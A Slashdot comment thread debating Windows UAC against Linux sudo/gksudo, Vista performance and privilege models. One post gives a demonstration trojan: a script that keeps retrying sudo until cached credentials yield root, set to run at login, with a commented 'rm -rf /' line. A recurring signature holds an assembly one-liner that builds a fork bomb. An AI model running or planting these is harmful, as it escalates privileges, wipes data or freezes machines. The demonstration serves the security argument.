    142. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      [Sorry, hit submit too soon.]

      The role of the password prompt in sudo/gksudo is to let the user confirm that it's he who requested the supposedly privileged application to run. ... Asking the user breaks those exploits because user will see a prompt when he did not start an administrative application.

      What you're describing sounds a lot like how UAC works in practice to me.

      Perhaps you want to expound on what UAC does that it shouldn't or doesn't do that it should?

    143. Re:Eh wouldn't surprise me... by heffrey · · Score: 3, Informative

      I don't think you've got this UAC thing straight yet.

      I've never seen an app manifested as require-admin that didn't really need admin. If an app is not manifested then it runs virtualized and accesses to restricted areas get redirected to the virtual store. I think that most slashdotters see more UAC than more typical users because they are called in to do system maintenance.

      My wife got a Vista laptop around 9 months ago. A few months after she first got it I asked her what she thought about UAC. She replied, "What's UAC?" When I showed her she said that she'd seen that watching me using my machine, but never on her own machine.

    144. Re:Eh wouldn't surprise me... by toadlife · · Score: 1

      sudo uses time limit for credentials -- this may not be the best way to achieve high security, however in most of real-life use it's sufficient to prevent privilege escalation for all but the luckiest trojan horses that happen to activate right after the user started the installation of something.

      The length of time the password is cached is irrelevant. One second is sufficient because a rogue process can quite easily sit in the background monitoring every process a user invokes. As soon as sudo is invoked, all the rogue process needs to do is execute sudo is the same tty. killing off a terminal window may be required, but a dumb user would just think xterm crashed and think nothing more of it. There is no luck involved. The only way to prevent this is to disable password caching completely.

      Windows UAC solves the wrong problem -- it ask the user for something that he is not supposed to make a choice about. There are no things that user is supposed to "decide" if they should or should not be allowed to run as root/admin, and things that shouldn't. Nothing in the world, least of all the user, is supposed to ever move them from one category to the other.

      From a standpoint of privilege escalation, UAC is pretty much functionally equivalent to gksudo. It allows processes to run with elevated rights. The mechanisms are different, and one is 100x more secure than the other, but the end result is the same. The alternative to UAC was to have legacy applications that don't run properly with limited rights fail, en masse. While breaking bad apps is the technically correct and ideal solution, it is not acceptable given the consumer demand for backwards compatibility. The typical computer user is not technically adept enough to decide beforehand that they need to launch an application with elevated privileges, so some sort of mechanism like UAC is necessary to hold their hand.

      not by giving the user a "choice" between running a virus and rendering system unbootable by crashing an upgrade process.

      What the hell are you talking about? Is this some personal experience you've had?

      --
      I don't always use unix-like operating systems; but when I do, I prefer FreeBSD.
    145. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      Kind of like all the Linux zealots who still insist that Windows is built on DOS and bluescreens 18 times a day?

    146. Re:Eh wouldn't surprise me... by drsmithy · · Score: 1

      Depending on your viewpoint, the software was either vastly bloated because it needed 1024 to run properly (in contrast the Mac OS released that same year ran great on only 256 MB) [...]

      If you think *any* version of OS X runs "great" with 256MB of RAM, it's hard to take you seriously complaining about Vista's performance with 512MB.

    147. Re:Eh wouldn't surprise me... by drsmithy · · Score: 2, Insightful

      funny that is exactly what happened between OS X releases 10.2, 10.3 10.4, and 10.5 though the amount of speed increase was slightly less.

      The difference being that OS X's performance was so dismally bad even on blazingly fast hardware it didn't have anywhere to go but up.

      The same was not true of Vista. On the day it was released, you could buy a machine for under a grand that would run it well - something you could most certainly not say about OS X.

    148. Re:Eh wouldn't surprise me... by drsmithy · · Score: 1

      The problem with Vista, however, is that in 2006 even on a high-end machine it ran like a freaking pig.

      Utter rubbish. For under a grand you could get a machine that would run Vista well (really all you needed was 2GB RAM, though dual core helped as well). That wasn't even _close_ to "high end" at the time.

    149. Re:Eh wouldn't surprise me... by drsmithy · · Score: 0

      UAC is not a bad idea, though it is not IMO particularly well implemented. They tried to so sudo but for the traditional Windows way of working (i.e. admin by default and adding blockers, where the sudo way starts unprivelaged).

      If you don't understand how UAC works, you shouldn't try and criticise it.

    150. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      Vista and 7 are both faster than XP on modern hardware. Also 4GB is hardly "beefy" any more.

      XP might have the edge when running on obsolete hardware but then again, MS-DOS has an edge when running on obsolete hardware too.

    151. Re:Eh wouldn't surprise me... by LinuxAndLube · · Score: 2, Informative

      A properly written Vista application comes with a manifest describing the privileges needed to run it, so that elevation happens before it actually runs. It sounds like Opera fucked up. Of course, Microsoft still gets all the blame.

    152. Re:Eh wouldn't surprise me... by fuzzywig · · Score: 1

      I'm mainly a windows user, but I'd agree that out of all the methods of raising permission levels, sudo is my favourite, UAC is ok (it's not really that annoying), and whatever the admin popup in OSX is called, it only shows up occasionally so I can't really comment on that.

    153. Re:Eh wouldn't surprise me... by LinuxAndLube · · Score: 5, Insightful

      + 5, psychedelic for using enormously complex system and huge security benefits in the same sentence.

    154. Re:Eh wouldn't surprise me... by dkf · · Score: 1

      Back in Win 95 days, Microsoft could have required all 3rd party software to use .ini files located in that software's main directory, or they could have required them to all use the registry, and use it in specified ways.

      Back in Win95 days, they were still trying to support the old Win3.1 way of doing things so that lots of custom corporate apps would continue to work. (It's supporting those third-party-written VB monstrosities that is the source of most of Windows's lock-in, and most of MS's support headaches too I suspect.) They also still thought very strongly in terms of a single user of the machine at a time. If the apps aren't written to work with privilege separation, imposing it on them is bound to be a problem. (Heck, knowing to store settings and save-files in a per-user directory by default is a big step up, and wasn't something that most Win apps did back then.)

      --
      "Little does he know, but there is no 'I' in 'Idiot'!"
    155. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      [NOTE: if this post shows up while this message is here, I hit submit prematurely again. I'm typing this up before I tested all of it, so I don't guarantee it will work as-is.]

      Oh, and one more thing. This one required some investigation (& installing Ubuntu in a VM).

      sudo uses time limit for credentials -- this may not be the best way to achieve high security, however in most of real-life use it's sufficient to prevent privilege escalation for all but the luckiest trojan horses that happen to activate right after the user started the installation of something.

      It's better to be good than lucky.

      To wit, what's to stop the trojan from repeatedly attempting to sudo until it succeeds? Answer: not enough.

      What follows is a demonstration of this principle. My technique is somewhat unsophisticated, yet if you were to wrap things up nicely, 99.99% of users wouldn't have a prayer of noticing what was going on.

      I will say that this is far harder than I anticipated it being; sudo has some additional checks on who can use cached credentials. In particular, if the user has authenticated previously while running process A and then attempts to start process B with sudo, sudo apparently only uses the cached credentials if the two processes have the same parent. Nevertheless, this works on a freshly installed Ubuntu 8.04.1 system (current in late 2008). I also tried on the latest version 9.10, and the behavior is even worse to the point of perhaps being a bug. I'll have to file a report and see what the Ubuntu people say. I didn't install security updates though -- didn't want to mess with VMWare to get networking up.

      (Disclaimer: I'm doing the tests in a VM without the VMWare tools, so I can't copy-and-paste back and forth unfortunately, so I'm retyping stuff. It's possible there's a typo in this copy, so if you copy and paste what I say it's not completely guaranteed it'll work correctly. But I'm not just making crap up, and anything that is wrong should be easy to find.)

      Create a file with the following contents:

      #!/bin/bash

      echo "Uh oh!" > /compromised.txt
      #yes | rm -rf /

      Call the file do_evil.sh, and give it execute permissions (chmod 755 do_evil.sh). For some real drama, uncomment the last line. (Don't do that last step on a system you care about. In fact, might as well even not copy that last line if you do care.)

      Verify that, in fact, you have insufficient rights to run this script as-is:

      evan@evan-desktop:~$ ./do_evil.sh
      ./do_evil.sh: line 3: /compromised.txt: Permission denied

      Create a new Python program:

      #!/usr/bin/python

      import subprocess
      import signal
      import time
      import os
      import sys

      file = open("out.txt", "w")
      sys.stdout = file

      while True:
      print "About to do_evil... "
      p = sub.Popen("sudo ./do_evil.sh", shell=True)
      time.sleep(1)
      if os.path.exists("/compromised.txt"):
      print "success!"
      break
      else:
      print "killing unsuccessful attepmt"
      os.kill(p.pid, signal.SIGKILL)
      time.sleep(5)

      Call this trojan.py, and give it execute permissions.

      Now, make Gnome run trojan.py when you log in. In Ubuntu 8, this was in System -> Preferences -> Sessions; in Ubuntu 9, it's in System -> Preferences -> Startup Applications. Click Add, and choose trojan.py. (Alternately, in .config/autostart create a new file called trojan.py.desktop containing something like:

      [Deskto

    156. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      [NOTE: if this post shows up while this message is here, I hit submit prematurely again. I'm typing this up before I tested all of it, so I don't guarantee it will work as-is.]

      Oh, figures... I put that notice up there to protect against screwups by me, and then forget to remove it. Ah well. What I posted I stand by as tested.

    157. Re:Eh wouldn't surprise me... by michaelhood · · Score: 1

      Libel, most likely.

      you can't slander a piece of software.

    158. Re:Eh wouldn't surprise me... by asdf7890 · · Score: 1

      UAC is not a bad idea, though it is not IMO particularly well implemented. They tried to so sudo but for the traditional Windows way of working (i.e. admin by default and adding blockers, where the sudo way starts unprivileged).

      If you don't understand how UAC works, you shouldn't try and criticise it.

      Care to enlighten me with your superior knowledge (or just a link to a good article that documents what I'm assuming wrong)? I'm always willing to learn and/or correct existing understanding.

      I know my statement of "trying to do sudo" is a gross over-simplification as the family of features UAC belongs to tries to do more than just that specific sort of privilege management, but a more detailed discussion didn't seem relevant to pointing out that UAC (as most end users see it, which is just the prompts on the "secure desktop") was far from the top sticking point that stopped people and companies upgrading to Vista if they would otherwise have put the time/money down for the upgrade.

    159. Re:Eh wouldn't surprise me... by Jurily · · Score: 1

      Vista's added "security features" were poorly implemented and ultimately useless

      UAC actually worked better than the user-root distinction in Linux. The one time I didn't expect a UAC warning that popped up, it turned out to be a trojan.

    160. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      I know I've already posted like a gagillion times, but I tried to simplify the "you don't even need to sudo" behavior that I said that 9.10 exhibits, and now I can't get it to work the way I said it did in the previous post.

      That said, I still can get it to behave the way that Ubuntu 8 did. System -> Administration -> Computer Janitor is what I used to trigger the sudo prompt that ultimately resulted in the privilege escalation.

    161. Re:Eh wouldn't surprise me... by weicco · · Score: 3, Informative

      I'd say that the UAC in Vista nagged constantly early on because it was written to complain about software that was written to standard procedures at the time.

      There's a heck load of software which doesn't follow even the basic instructions found in MSDN. Also there is many programmers who doesn't even know that MSDN has these instructions. There is even programmers who don't know what MSDN is!

      There is nothing inherently "poorly written" about writing to the current working directory

      You do know that you shouldn't trust current working directory, don't you? There's this thing that even if application is installed in the folder X it can be started from folder Y and now your current workind directory points to Y. What's the problem in asking the Operating System where %APPDATA% is?

      Windows has added dozens of new layers of "default" directories over the years

      And they all can be found via environment settings.

      Also, seeing as how applications were allowed to do more or less anything in XP / NT

      No they weren't. User let them by running them with administrator privileges.

      --
      You don't know what you don't know.
    162. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      Ah, I think I see what was going on. It was keeping my credentials cached both (1) from one login to the next and (2) even though I was issuing 'sudo -k' and 'sudo -K' in an xterm.

      I already said that sudo does some parent checking to make sure that two invocations don't reuse the same tokens if they don't share a parent; apparently -k/-K only removes the tokens that it would clash with.

      So that mystery is solved; both versions have the same behavior in this respect (which shows why you don't need to be lucky to cache credentials).

      BTW, on this general topic, I highly recommend this paper (PDF) from the Usenix security conference in 2005. The bottom line from it is if you say "eh, this is hard to exploit as you have to be unbelievably lucky", you definitely can't discount the chance that there's a way for the attacker to stack the dice in his favor.

    163. Re:Eh wouldn't surprise me... by blogcommentsoftware · · Score: 1

      For real... microsuck has done so much.... it is easy to find things... why make it up? lol

    164. Re:Eh wouldn't surprise me... by ultranova · · Score: 1

      Christ, what ever happened to basic responsibility? Or buy beware?

      "Buyer beware" died with Rome. And good riddance too; after all, why wouldn't the sellers have responsibility for ensuring that their wares are what they're claiming them to be: a useful product? And no, burying "this might be junk" somewhere in a 50-page mumbo-jumbo legalese memo doesn't absolve you.

      Why is it that people who talk about "responsibility" so often wish to absolve one party of all?

      How about reading reviews before buying something or returning the product if you dont like it?

      How about ensuring that what you're selling is of sufficient quality that the buyers don't demand your head on a spike?

      Is lawsuit now the default action?

      Should claiming that it's the buyer's fault you sold junk as working stuff be?

      --

      Forget magic. Any technology distinguishable from divine power is insufficiently advanced.

    165. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      Vista is faster than XP.

    166. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      you mean windication?

    167. Re:Eh wouldn't surprise me... by GameboyRMH · · Score: 1

      Look up gksudo and kdesu. You can try them out with Ubuntu and Kubuntu liveCDs.

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
    168. Re:Eh wouldn't surprise me... by jonbryce · · Score: 1

      'runas' in Windows 2000, XP and 2003 is more like su than sudo.

    169. Re:Eh wouldn't surprise me... by Hal_Porter · · Score: 1

      WTF do you mean by "write it"? Did you mean, edit the sudoers file? Yeah, you could do it that way, I suppose. Or did you mean, enter your password? Nope, sudo will cache it for a certain length of time.

      Hmm, let's perform a MOTU analysis on this.

      HE-MAN is typing away at his computer and enters his root password. SKELETOR introduces knockout gas. HE-MAN is knocked out and SKELETOR has root access.

      Hence caching passwords is insecure. I HAVE THE POWER!

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    170. Re:Eh wouldn't surprise me... by GameboyRMH · · Score: 1

      True, but that's mostly due to (a long history of) poor app design on Windows. It's getting better though, if you're running newer apps there are few that need it. On my Win7 gaming machine, the apps I need to run with elevated privileges (that shouldn't really have to) are:

      - A few older games that need to run in compatibility mode.

      - Infrarecorder - needs to probe CD drive hardware information every time for some reason and this doesn't work without elevated privileges.

      On my Linux boxes:

      - Nmap/Zenmap, if I want to use OS fingerprinting. Hardly an everyday thing.

      --
      "When information is power, privacy is freedom" - Jah-Wren Ryel
    171. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      I dont understand ? Does this mean I should get another two gigabytes ? or should I just put in Eight . I'm confused

    172. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      > Most shops skipped over Vista completely.

      That is an outright lie (and if you still want to publicly claim it's not, then support it by reliable and trustworthy references.

      Vista's market share is something about 25% now. That doesn't seem like a filed project to me.

    173. Re:Eh wouldn't surprise me... by h00manist · · Score: 1

      Christ, what ever happened to basic responsibility? Or buy beware? How about reading reviews before buying something or returning the product if you don't like it? Is lawsuit now the default action?

      That depends. How much time, money, friends and enemies do you have? Mostly money and enemies, or friends and time?

      --
      Build your own energy sources from scratch. http://otherpower.com/
    174. Re:Eh wouldn't surprise me... by Hal_Porter · · Score: 1

      Ring the bell suckah, schools in!

      --
      echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
    175. Re:Eh wouldn't surprise me... by ffreeloader · · Score: 1

      Allowing sudo usage in Linux is/can be pretty fine-grained depending on what the admin wants to allow. You can allow a user anywhere from a small portion root's power to all of it. It's not an all or nothing proposition.

      --
      "while democracy seeks equality in liberty, socialism seeks equality in restraint and servitude." de Tocqueville
    176. Re:Eh wouldn't surprise me... by arndawg · · Score: 1

      Well i hope you're not on the internet what that computer then. Because if you are, you're an idiot and sound like a 14-year old "computer expert" that can run lots of games, warez and stuff.

    177. Re:Eh wouldn't surprise me... by maccam · · Score: 1

      I bet AERO did not run very well (or at all?) on that under a grand computer. Eliminating AERO is how the speed is achieved. AERO is the first Windows GUI that stresses the hardware comparably to the Mac OS X. There lies the true comparison. Macs have always had a resource hungry graphics layer, but the history, even with Mac Classic, is successive releases always improved speed. The history of Windows is successive releases always slow it down. Will history repeat itself with W7?

      --
      Half Word - Will Double, Wire Palindrome, San Francisco
    178. Re:Eh wouldn't surprise me... by Anpheus · · Score: 1

      I aim to please.

    179. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      Erm, UAC is NOT meant to be a security technology. Mark Russinovich explicitly stated that in one of his webcasts. Its purpose is to let application developers see how their apps would behave in a privilege-restricted environment, without having to log into such an environment - so that they could reengineer the application faster. Or something.

    180. Re:Eh wouldn't surprise me... by tehcyder · · Score: 0, Flamebait

      It's an abbreviated phrase. People write "This" instead of "This is true."

      No, it's an abbreviated phrase used by annoying knobheads, not in general use but favoured by certain dweebs on the internet.
      If you just write "This", 99% of normal people will just think you're an idiot who can't write properly.

      --
      To have a right to do a thing is not at all the same as to be right in doing it
    181. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      The difference is, this is the race against the user, not another process. Smart user will invalidate timestamps before doing anything that involves a non-administrative applications anyway, and this is one thing that should be added to the default GUI configuration, so less smart users will be encouraged to do so.

      --
      Contrary to the popular belief, there indeed is no God.
    182. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      The difference is, this is the race against the user, not another process. Smart user will invalidate timestamps before doing anything that involves a non-administrative applications anyway...

      Huh? What I gave a demonstration of requires no user action besides (1) running the user-local trojan (that would install itself in the startup apps) and (2) sometime, runing something that is started with sudo directly by gnome.

      They do not have to run sudo then something non-privileged.

    183. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      you should get the facts first..

    184. Re:Eh wouldn't surprise me... by mdwh2 · · Score: 1

      Indeed. It was sad to see Apple fans moaning about it being insecure because it let you do things without repeatedly asking you. But then when Microsoft implement it - Apple fans take the mickey out of it!

    185. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      The length of time the password is cached is irrelevant. One second is sufficient because a rogue process can quite easily sit in the background monitoring every process a user invokes.

      It's not trivial for a hostile application to get executed on a Linux box in the first place (and it would mean that user's account is compromised already).

      killing off a terminal window may be required, but a dumb user would just think xterm crashed and think nothing more of it.

      This is why it's important to make sure that terminal programs never crash -- if you see it happened, something is definitely wrong. And, of course, nothing can make a system secure if dumb person has administrative access to it.

      There is no luck involved. The only way to prevent this is to disable password caching completely.

      This is a separate issue, and security-conscious users do just that. Thankfully there are very few situations when users end up running anything as root.

      From a standpoint of privilege escalation, UAC is pretty much functionally equivalent to gksudo. It allows processes to run with elevated rights. The mechanisms are different, and one is 100x more secure than the other, but the end result is the same.

      Unfortunately UAC mostly creates an impression that user is in control of something, as user still has no way to know if the application he is running is supposed to run with elevated privileges, or not. In the end, it's all a matter of trusting executables the user has installed, and at this point the usual Windows problems apply -- all files may be executed if they are in executable format, archives and installers are usually packaged as executables, sandboxing is nearly nonexistent, etc.

      The alternative to UAC was to have legacy applications that don't run properly with limited rights fail, en masse. While breaking bad apps is the technically correct and ideal solution, it is not acceptable given the consumer demand for backwards compatibility. The typical computer user is not technically adept enough to decide beforehand that they need to launch an application with elevated privileges, so some sort of mechanism like UAC is necessary to hold their hand.

      That's because Microsoft imitated sudo and not PolicyKit, that places the choice into the hands of the system developer or a sysadmin, not user.

      --
      Contrary to the popular belief, there indeed is no God.
    186. Re:Eh wouldn't surprise me... by SenseiLeNoir · · Score: 1

      I think you mean "make it look and behave like Windows 2000", as there is no XP 'look' in Windows 7. Indeed, Windows 7 has actually removed a lot of stuff that was in Vista, and XP (good in my books,but your mileage may vary)

      Though trust me, I was like you, trying to get my Windows 7 to behave like W2k, but in the end, I found it wasn't much of a difference in performance because the DWM compositor actually seems pretty fast as it is, the difference between Full Aero and Classic is almost a moot point.

      --
      Have a nice day!
    187. Re:Eh wouldn't surprise me... by mcgrew · · Score: 1

      >Though I wonder how close this comes to an actionable legal issue?

      Christ, what ever happened to basic responsibility? Or buy beware? How about reading reviews before buying something or returning the product if you dont like it?

      You must need more coffee; he's talking about libel, not product liability. Basic responsibility? When has any corporation shown a shred of basic responsibility? Or are you referring to the end-user?

      Why should the buyer have to beware? If you're a scam artist you belong in prison. Reviews? Corporations BUY reviews. Returns? NOBODY will let you return an opened software box.

      Do you actually have to buy anything, or are you like Bush 1 who was amazed at the laser scanners at a checkout counter when he went to a store (maybe for the first time in his life) to show he was "just like us?" Sorry, but you show little grasp of what it's like to be an actual consumer.

    188. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      It assumes that there is a constantly-running hostile process, what means, pretty much everything that desktop environment does may be altered at that point. Assuming that user did not run chmod +x on everything he downloads, this would require a completely separate exploit to happen before the user does anything privileged.

      I agree that this model is not as secure as it should be, however it's be pretty trivial to eliminate gksudo prompts completely and let applications that should have administrative permissions run with them automatically, thus neither causing any inconvenience to the user nor keeping anything cached. There is no legitimate reason to run, say, Synaptic, without root privileges, so not asking the user won't make system any less secure, as long as only user can run the executable. For example, a setuid wrapper that clears potentially exploitable environment and command line, should be sufficient even for the most bloated monstrosities that are trusted enough to be used for administration. Splitting things up and using PolicyKit to run the backend while GUI remains unprivileged, will be even better. Using capabilities for applications that need elevated but limited privileges helps, too.

      Windows UAC doesn't help with that, and provides no way to implement a better solution.

      --
      Contrary to the popular belief, there indeed is no God.
    189. Re:Eh wouldn't surprise me... by Pentium100 · · Score: 1

      IIRC Aero uses the video card more, so it would mean shorter battery life. Also, I don;t need the different look, while I like XP look, I can live with 2000/2003 look.

      I installed 7 on a virtual machine so I can try to find out how to change the look (because sooner or later I am going to need a new laptop). So far so good, I have the classic theme, the classic start menu ("Classic Shell" open source software), a normal toolbar on Windows Explorer, "up one level" button. I turned off SuperFetch and indexing (I search my computer rarely, so there is no point in that), I also turned off the "thumbnails as icons" option - I don;t need them, on my XP computer I have turned off the video thumbnail generation (regsvr32 /u shmedia.dll).

      Now I need to find out how to move the address bar below the menu and toolbar, how to make Windows Explorer display rows with less space between them ("Details" view) and how to remove the "Organize" toolbar.

      It now is almost workable with a 700MHz CPU (that's the CPU of my VmWare Server, yes I know it is below the minimum requirement of 1GHz) and 1GB of RAM (uses 287MB with no additional software running, 238MB cached, 504MB free). It is still slower than Windows 2003 virtual machine that is running at the same time (host PC has 3 CPUs) with 384MB of RAM (223 used with Apache and MySQL running).

      Win7 gives the experience index as 1.0 because of slow CPU and video card (both get 1), RAM gets 1.5 and hard drive gets 4.8

    190. Re:Eh wouldn't surprise me... by Alex+Belits · · Score: 1

      The fact that .desktop files can contain full command lines AND don't have to have any non-default permissions themselves, is stupid and should be changed. It's a broken link in otherwise reliable mechanism that prevents anything without executable bit from being executed by merely clicking on something.

      --
      Contrary to the popular belief, there indeed is no God.
    191. Re:Eh wouldn't surprise me... by Ropati · · Score: 1

      WTF,

      MS still hasn't fixed the storport driver with an OS release:

      http://support.microsoft.com/kb/968675.

      Nor does MS make it easy to write 3rd party drivers. There documentation is usually incorrect and the samples inoperative. If MS can't get their drivers to work, how is a vendor suppose to do it.

      As for beta drivers, forget it. This guy expects every vendor to spend hours of dev time making drivers for a growing tree. No. No. No.

      Nobody even tried to write a driver for 2008 until it was RTM, and that isn't much of a window.

      --
      machinator omnis sine licentia
    192. Re:Eh wouldn't surprise me... by userw014 · · Score: 1

      Another remark about "two decades" - VAX/VMS had a fine (or finer) grained security model than the Unix user/group/other/root model. When was the last time VAX/VMS made any kind of technology news? There have been other Operating Systems with much more sophisticated security models - generally special purpose and research systems that haven't enjoyed widespread success with 3rd party software.

      Unix (Linux) suffers from a simplistic security model that was good enough for a multi-user system in a time of limited networking when viruses, spam, and phishing couldn't be done anonymously.

      Windows (at least older versions) suffers from trying to maintain compatibility with a lack of a security model - and a nearly unrestricted 3rd party software model.

      Both have had added security glue applied - but with limits for compatibility (i.e.: "It wouldn't be (Windows|Unix) if we did THAT!")

      There are trade-offs between between security and utility - but they're worse when improvements to security come after the original design is laid down.

    193. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      Who reboots their OS? My desktop is always on, and my laptop is always sleeping. I've always thought boot time was a stupid measure of... anything.

      Er... my dad? This may come as a shock to you, but many people turn appliances off at the wall. They don't get this idea of "uptime" and instead they treat computers as they do their TVs - appliances to be switched on and off as they need them and no amount of procrastination on Slashdot will change that.

    194. Re:Eh wouldn't surprise me... by Sj0 · · Score: 1

      Even if Windows 7 had huge memory problems, "Who cares if the PCs are maxing out their memory if the user experience is equal to XP in terms of perception of speed?"

      I don't think anyone really cares what the abstract metrics say if the practical metrics are unaffected, and the verdict on Windows 7 has been overwhelmingly good.

      --
      It's been a long time.
    195. Re:Eh wouldn't surprise me... by Sj0 · · Score: 1

      Office XP had sex with Monica Lewinski!

      --
      It's been a long time.
    196. Re:Eh wouldn't surprise me... by Archangel+Michael · · Score: 1

      Isn't that called "security through obscurity" ?

      --
      Agent K: A *person* is smart. People are dumb, stupid, panicky animals, and you know it.
    197. Re:Eh wouldn't surprise me... by thePowerOfGrayskull · · Score: 1

      With su you give full control over the root account, with sudo you need to write it every time you require root account. UAC is actually a lot better than what there is available for linux, in desktop use (in command line/server use it pwns).

      UAC is a stumbling block that doesn't help anything. By requiring this every time you adjust a system setting *of any kind*, you just train the user to click "OK" and/or enter the required password without thought. It becomes a matter of course - when installing software, when changing hardware configuration, when changing shared options -- you will see this prompt and click through it as quickly as possible to do what you intended to do.

      If some web site suddenly causes you to click an extra button, or enter your password yet again, it doesn't make people stop and think. It just raises that old "get this annoying crap out of my faces so I can see my dancing bunnies" response that they've been trained to have.

      The sudo model is no better - it's a few more keystrokes, but it is the same model - and trains the same behavior into users.

      The answer isn't artificial obstacles that we train people to ignore even as we throw them up -- it's in education for those who want to learn, in iPads and similar locked-down devices for those who don't; and in at least getting people aware to the point that they know which device is safe for them to own.

    198. Re:Eh wouldn't surprise me... by EvanED · · Score: 1

      It assumes that there is a constantly-running hostile process, what means, pretty much everything that desktop environment does may be altered at that point.

      Ah, but it doesn't mean it has to be. Often malware is better-off remaining unobtrusive so as not to draw attention.

      Assuming that user did not run chmod +x on everything he downloads, this would require a completely separate exploit to happen before the user does anything privileged.

      Oh stop with the BS. You and I won't run stuff that we download, but I guarantee if the place of Ubuntu and Windows were switched today, within a month you'd see Canonical push a security update that changes sudo's configuration, a sizable number of Ubuntu boxes rooted by this technique, or both.

      Hell, all the malware writer would need to do is put things into a .tar.gz file and say "extract and run".

    199. Re:Eh wouldn't surprise me... by petermgreen · · Score: 1

      The only way to prevent this is to disable password caching completely.
      Mind you that doesn't actually help you that much either because the malware can simply alter your menus so that every terminal you open has a path containing a keylogging sudo wrapper supplied by the malware.

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
    200. Re:Eh wouldn't surprise me... by petermgreen · · Score: 1

      hmm, my experiance has been that hardware either doesn't have 64-bit windows drivers at all or it has drivers that work under XP proffessional x64 edtion (which isn't really XP at all, it's really a desktop edition of 2K3)

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
    201. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      You don't really know how to use linux do you?

      sudo bash

      There, now you don't have to type sudo every time. Fail.

    202. Re:Eh wouldn't surprise me... by Richy_T · · Score: 1

      +1

    203. Re:Eh wouldn't surprise me... by Richy_T · · Score: 1

      From what I can tell, UAC is largely based around the "user sitting in front of the console" paradigm that Microsoft has found it so hard to get away from. It wouldn't really fit the Unix paradigm very well. Which is not to say that the Unix security mode cannot be improved either.

    204. Re:Eh wouldn't surprise me... by petermgreen · · Score: 1

      And that was the real rub. Win 98 was a lot more functional and internet-enabled than Win 95.
      Really? that's not how I remember it.

      Most if not all of the desktop functionality changes in 98 were also available for 95 through windows desktop update (included with internet explorer 4.x) and I don't remember internet explorer behaving any differently either.

      As a legacy system 98 was easier to deal with than 95 due to usable USB support (yeah there was a variant of 95 with USB but I never could find any drivers for USB perhipherals for it) support for WDM drivers but neither of these things were that important when 98 was current.

      Fat32 was undoubtablly helpful for those replacing thier hard drives but there was a version of 95 which supported that.

      Internet connection sharing was also handy but that didn't come until 98 second edition.

      Overall unless you wanted to fit a new hard drive to a machine that didn't have OSR2 98 was a meh at the time.

      --
      note: i'm known as plugwash most places but i screwd up registering that here somehow in the past and now can't register
    205. Re:Eh wouldn't surprise me... by Anonymous Coward · · Score: 0

      I was initially impressed by UAC and the Admin-only token concept, but I then looked under the hood. In short: it's a very secure way to type your password, but doesn't effectively do better than just logging in as Administrator.

      Here's why: any user app (e.g., malware) running as the normal user can inject evil into the elevated process. Even worse, because certain MS apps have an "auto elevate" flag set, the malware can simply run one of those with its own code injected.

      http://technet.microsoft.com/en-us/magazine/2007.06.uac.aspx

    206. Re:Eh wouldn't surprise me... by Foolhardy · · Score: 1

      Windows NT 3.1 actually introduced Win32 first in 1993, with limited user accounts, profiles and the registry (which was the standard location for configuration). The documentation for Windows 95 marked a lot of Win32 APIs as not available, but it still specified that all application configuration should go into separate user and machine registry hives depending on the scope of the setting. Microsoft published guidelines and made them a requirement for getting the Windows 95 logo, but Microsoft has never had the power to force ISVs to do things a certain way. One choice that didn't help was that Win95 didn't implement any security to keep the OS small and simple, which hid a lot of application design problems down the road.

      There are a lot of programs that have problems on newer Windows OSes that were written for earlier versions, but examples of applications that have problems even though they followed the guidelines for the OS version they were written for are extremely rare.

    207. Re:Eh wouldn't surprise me... by toadlife · · Score: 1

      Setting aside the fact that keylogging in X can be done without root, yours is another example of how gksudo is inferior in terms of security to UAC. A process without admin rights in Windows cannot imitate a UAC prompt.

      Though to be fair, given the average aptitude of Windows users, it could probably throw up a very fake looking UAC prompt and get a sizable portion of users to type in their password.

      --
      I don't always use unix-like operating systems; but when I do, I prefer FreeBSD.
    208. Re:Eh wouldn't surprise me... by toadlife · · Score: 1

      It's not trivial for a hostile application to get executed on a Linux box in the first place (and it would mean that user's account is compromised already).

      Given identical circumstances, it is no more trivial in Linux (or BSD) than it is on Windows.

      Windows problems apply -- all files may be executed if they are in executable format, archives and installers are usually packaged as executables, sandboxing is nearly nonexistent, etc.

      You call these "Windows problems". Most people call them, "how computers work". execute bits offer zero security in the context of a desktop usage and are nothing but an annoyance. The behavior of all newly created files non being able to be executed can be replicated in Windows quite easily using default ACLs, but it is only used in situations where it has a practical use, like servers that allow users to upload files. Sandboxing of processes (SELinux, AA, PolicyKit and yes, UAC) is the future of security - not execute bits and file formats.

      That's because Microsoft imitated sudo and not PolicyKit, that places the choice into the hands of the system developer or a sysadmin, not user.

      While something like PolicyKit is an ideal solution, I think you overestimate the competence of the average Windows sysadmin and developer. Even in Linux shops, most people run with default UNIX security security model because things like SELinux and PolicyKit are just too damn complicated. Expecting Mr. MCSE to deal with this type of stuff is unreasonable. Windows already has numerous methods of instituting fine grained control over objects and there exist many tools for system administrators to deploy these settings on a mass scale. UAC is far more than an re-implimentation of sudo. Windows has had it's version of sudo for a decade now. It's called "runas".

      --
      I don't always use unix-like operating systems; but when I do, I prefer FreeBSD.
